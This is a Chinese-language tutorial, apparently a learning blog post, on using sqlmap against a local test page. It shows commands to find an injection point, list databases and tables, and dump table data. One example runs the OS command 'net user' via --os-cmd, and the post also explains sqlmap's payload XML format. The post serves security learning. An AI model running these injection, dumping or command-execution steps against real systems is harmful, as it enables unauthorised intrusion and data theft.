sqlmap工具使用

本次学习使用的sqlmap版本：1.4.4.8

Sqlmap使用

　　①  判断是否是注入点

sqlmap.py -u "localhost:8089/test003.php?ID=1"　

　　使用了-u参数指定测试的URL，若存在注入点将会显示出Web容器、数据库版本信息，结果如下：

web application technology: Apache 2.4.41, PHP 7.3.12
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

　　②  获取数据库

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs

　　使用—dbs参数读取数据库。结果如下：

 available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] test_db

　　③  查看当前应用程序所用数据库

sqlmap.py -u "localhost:8089/test003.php?ID=1" --current-db

　　使用—current-db参数列出当前应用程序所使用的数据库，结果如下：

current database: 'test_db'

　　④  列出指定数据库的所有表

sqlmap.py -u "localhost:8089/test003.php?ID=1" --tables -D "test_db"

　　使用—tables参数获取数据库表，-D参数指定数据库，结果如下：

 Database: test_db
[1 table]
+-----------+
| testtable |
+-----------+

　　⑤  读取指定表中的字段名称

sqlmap.py -u "localhost:8089/test003.php?ID=1" --columns -T "testtable" -D "test_db"

　　使用—columns参数列取字段名及数据类型，结果如下：

Database: test_db
Table: testtable
[3 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| ID     | varchar(255) |
| Name   | varchar(255) |
| Age    | int(11)      |
+--------+--------------+

　　⑥  读取指定字段内容

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dump -C "ID,Name,Age"  -T "testtable" -D "test_db"

　　使用—dump参数转存数据，-C参数指定字段名，-T参数指定表名，-D指定数据库名称，在读取数据后，sqlmap还会把读取到的数据转存到sqlmap\output\localhost\dump\test_db\目录下，文件以“testtable.cvs”保存，结果如下：

Database: test_db
Table: testtable
[8 entries]
+------+--------+-----+
| ID   | Name   | Age |
+------+--------+-----+
| 1    | A      | 1   |
| 2    | B      | 2   |
| 3    | C      | 3   |
| 4    | D      | 4   |
| 5    | E      | 5   |
| 6    | F      | 6   |
| 7    | G      | 7   |
| 8    | H      | 8   |
+------+--------+-----+

　　打开testtable.cvs：

Sqlmap常用参数实验

-v

　　该参数用来显示信息的级别，一共有7个等级：

　　　　0：只显示python错误和关键信息

　　　　1：显示基本信息（默认）

　　　　2：显示调试（debug）信息

　　　　3：显示有效载荷注入（payload）

　　　　4：显示HTTP请求包

　　　　5：显示HTTP响应头

　　　　6：显示HTTP响应页面的内容

　　接下里我们实验一下：

-v 0：

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 0

　　只返回关键信息；

-v 1：

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 1

 　　返回[INFO]信息，还会返回[WARNING]警告信息，这里没有警告信息；

-v 2：

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 2

　　显示[DEBUG]调试信息；

-v 3：

　　由于

sqlmap.py -u "localhost:8089/test003.php?ID=1" –dbs

　　该命令没有payload，所以改用命令：

sqlmap.py -u "localhost:8089/test003.php?ID=1" --os-cmd="net user" -v 3

 　　可以看到显示了[PAYLOAD]载荷信息，同时可以注意到有[WARNING]警告信息，这个在v1的时候即可显示；

-v 4：

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 4

　　显示[TRAFFIC OUT]HTTP请求信息；

-v 5：

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 5

　　显示了[TRAFFIC IN]HTTP响应头信息；

-v 6：

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 6

　　在[TRAFFIC IN]中还包括了HTTP响应页面的内容，当响应页面包含比较多的内容的时候不建议在sqlmap中使用这个等级的显示信息。

Sqlmap中的payload

　　我们可以在sqlmap/data/xml/payload文件夹中找到所有的payload，在boolean_blind.xml文件开头解释了所有的payload的标签及相关参数。

Payload格式：

<test>
　　<title>title>
　　<stype>stype>
　　<level>level>
　　<risk>risk>
　　<clause>clause>
　　<where>where>
　　<vector>vector>
　　<request>
　　　　<payload>payload>
　　　　<comment>comment>
　　　　<char>char>
　　　　<columns>columns>
　　request>
　　<response>
　　　　<comparison>comparison>
　　　　<grep>grep>
　　　　<time>time>
　　　　<union>union>
　　response>
　　<details>
　　　　<dbms>dbms>
　　　　<dbms_version>dbms_version>
　　　　<os>os>
　　details>
test>

各标签的具体含义及参数：

标签：

　　SQL注入测试的定义，包含了一次SQL注入所有的参数。

　　子标签：